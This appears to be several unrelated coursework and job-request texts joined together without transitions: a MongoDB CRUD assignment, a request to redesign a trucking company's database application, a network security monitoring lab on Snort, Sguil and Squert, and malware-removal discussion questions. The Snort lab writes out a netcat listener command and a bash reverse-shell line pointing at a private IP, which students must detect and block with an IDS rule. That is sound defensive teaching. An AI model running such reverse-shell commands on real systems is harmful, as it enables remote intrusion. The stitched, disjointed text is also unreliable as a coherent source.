Overview

To understand and make use of any database system, you must learn various techniques associated with the fundamental operations of create, read, update, and delete (CRUD). For this assignment, you will begin by creating databases of document collections and performing basic reading or querying operations to retrieve specific documents from the database system. You will also gain practice updating documents and subdocuments, and removing documents from a database. You will use the mongo shell and mongoimport commands to complete this assignment.

Note: Since this is the only assignment for Module Two, it is longer than a typical assignment. Be sure to begin working on this early in the week.

Prompt

After completing the textbook reading and reviewing the mongoimport tool documentation in the module resources, complete the following tasks using the mongo shell in Apporto.

1. The data set for this assignment, city_inspections.json, has already been loaded into the Apporto environment for you. Using the mongoimport tool, load the database “city” with documents found in the city_inspections.json file into the “inspections” collection. Complete this by typing the following commands in the Linux terminal to perform the import in the right directory:
   cd /usr/local/datasets/ #change into the Apporto directory with the data sets mongoimport --db city --collection inspections ./city_inspections.json #mongo import utility
   TIP: In any Linux systems, commands must be exact and use proper syntax and case sensitivity.
2. Verify your load by switching to the “city” database and issuing the following queries in the mongo shell:
   1. db.inspections.find({"id" : "10021-2015-ENFO"})
   2. db.inspections.find({"result":"Out of Business"},{"business_name":1}).limit(10)
   3. Provide screenshots of the results as evidence.
3. Using the appropriate commands in the mongo shell, insert a document to the database named “city” within the collection named “inspections.” Use the following key-value pairs as data for your document.
   KeyValueid“20032-2020-ACME”certificate_number9998888business_name“ACME Explosives”dateToday’s dateresult“Business Padlocked”sector“Explosive Retail Dealer-999”addressnumber -> 1721
   street -> Boom Road
   city -> BRONX
   zip -> 10463
   Be sure the address is inserted as a sub-document, and use the JavaScript function Date() for “Today’s date.” Verify your database creation and insertion using the findOne() function in the mongo shell. Provide a screenshot as evidence.
4. Answer the following questions using MongoDB queries.
   1. What is the distinct list of inspection “sector” in the current inspections collection? How many are in the list? Do not count by hand.
   2. What is the difference in the date data type for the business named “AUSTIN 2012” versus your business document insertion of “Acme Explosives”?
   3. How many businesses have a “Violation Issued”? (See Value column above.)
   4. Verify by providing screenshots of the queries and results as evidence.
5. Using the appropriate command in the mongo shell, update the document with the ID “20032-2020-ACME” in the collection “inspections” in the database “city” with the information below.
   KeyValuebusiness_name”New ACME Flowers”result”Business Re-opened”comments”Flowers after the explosion”
   Verify your database update using the appropriate find() function in the mongo shell. Provide a screenshot as evidence.
6. Using the database “city” with documents found in the “inspections” collection, perform the tasks listed below. Verify by providing screenshots of the results as evidence.
   1. Update all the documents that contain the key-value pair “city”:”ROSEDALE” in the address subdocument by changing the zip code in the address subdocument to “76114”.
   2. Remove the first document with the key-value pair “result”:”Violation Issued.”
   3. Guidelines for Submission
      Submit a Word document containing all of your screenshots. Use a screenshot tool, such as the Snipping Tool, for your screenshots and be sure to enlarge the images in the Word document before submitting. This will help make sure that your screenshots are an appropriate size for your instructor to be able to read them. Refer to this Use Snipping Tool to Capture Screenshots guide for help with taking screenshots.

I would like a Microsoft Application expert to completely redesign the following Application. It is an application for a trucking company and needs a complete design and functionality do-over. Firstly the login button needs a checkmark or show password option that will allow the user an option to see their password as it is being typed. Similarly, the buttons or forms on the main menu needs to be modified so that when the user clicks on the button or the form it should open in the same tab instead of opening in a new window. There is an extra hauled invoice table that is the exact copy of the invoice table therefore the hauled invoice can be deleted and the invoice table should be used to generate reports. There should be a print functionality button that will print the invoice and other reports after it is generated. This app is for a small business and the client is not happy with the visual appearance of the app (UI) so it needs to be modified and designed in such a way that looks both visually appealing and is easier to use. Having all the buttons or forms of the main menu or dashboard in one area would also help. Some of the requirements are:

INPUT:

1. The input forms that will be most important will be to enter the data from each load immediately after it has been delivered.
2. There will need to be a form to enter information about the equipment, trucks and trailers.
3. Form to enter new driver information
4. Form to create an invoice for each load that has been hauled.

REPORTS:

1. A report to show all loads hauled for each week.
2. A report to show all loads hauled for each driver each week.
3. A report to show maintenance shown for all trucks and trailer probably monthly.
4. A report to show a driver’s payroll for each week.  It should show all the loads they hauled each week with the pay being 25% of the total hauled each week.  It should show the taxes withheld each week.

I have provided a sample paper version of what the form should look like when it is printed.

The query needs to be worked on as well to function according to the tables. All the names of the forms and table should be organized and sorted. The current version has the tables names capitalized and the forms are not aligning with each other which needs to be fixed. 

1. Describe how you can use Snorby, Squil and Squert for network and host security monitoring. List any two similar tools that you can use for the same purpose. Discuss two differences between Squil and Squert.
2. Describe why and how you would process your pcap files with Snort. List two snort rule examples, provide their syntax and describe what they do.
3. In the “Signature detection and Remote Shells” lab, you used netcat to set up a listener on the Kali machine and executed bash client side code to return a reverse shell. Netcat can be used to set up bind shells and reverse shells. What is the difference between bind and reverse shells? Describe how an organization can prevent bind and reverse shell attacks and the different methods used to prevent bind shell attacks as compared to reverse shell attacks.
4.  As a part of this question you will create a Snort rule that would block content based on the non-case sensitive ASCII string “pport@ST. This will block the remote listener and log in the IPS when an attacker attempts to spawn a remote shell using these commands:

nc -lvp 8

bash –i >& /dev/tcp/192.168.1.5/8 0>&1

You will submit a 2-page report that is clear, concise, and organized.

The report will include and describe at least the following screenshots:

• When the remote listener is unblocked and listening.
• The new snort rule.
• Test the run the new snort rule
• Show that the listener is being blocked
• Show contents of the log file.

1. Discuss tools and techniques to remove Malware from infected machines; using a popular product to make your point.
2. Discuss the vulnerabilities that computer memory and computer process have that malware can take advantage of and exploit.
3. List any observations, tips or questions about this lab that would prove helpful to fellow students prior to midnight on Wednesday and comment on other student posts with value added comments (not simply agreeing) by midnight Sunday for full credit consideration.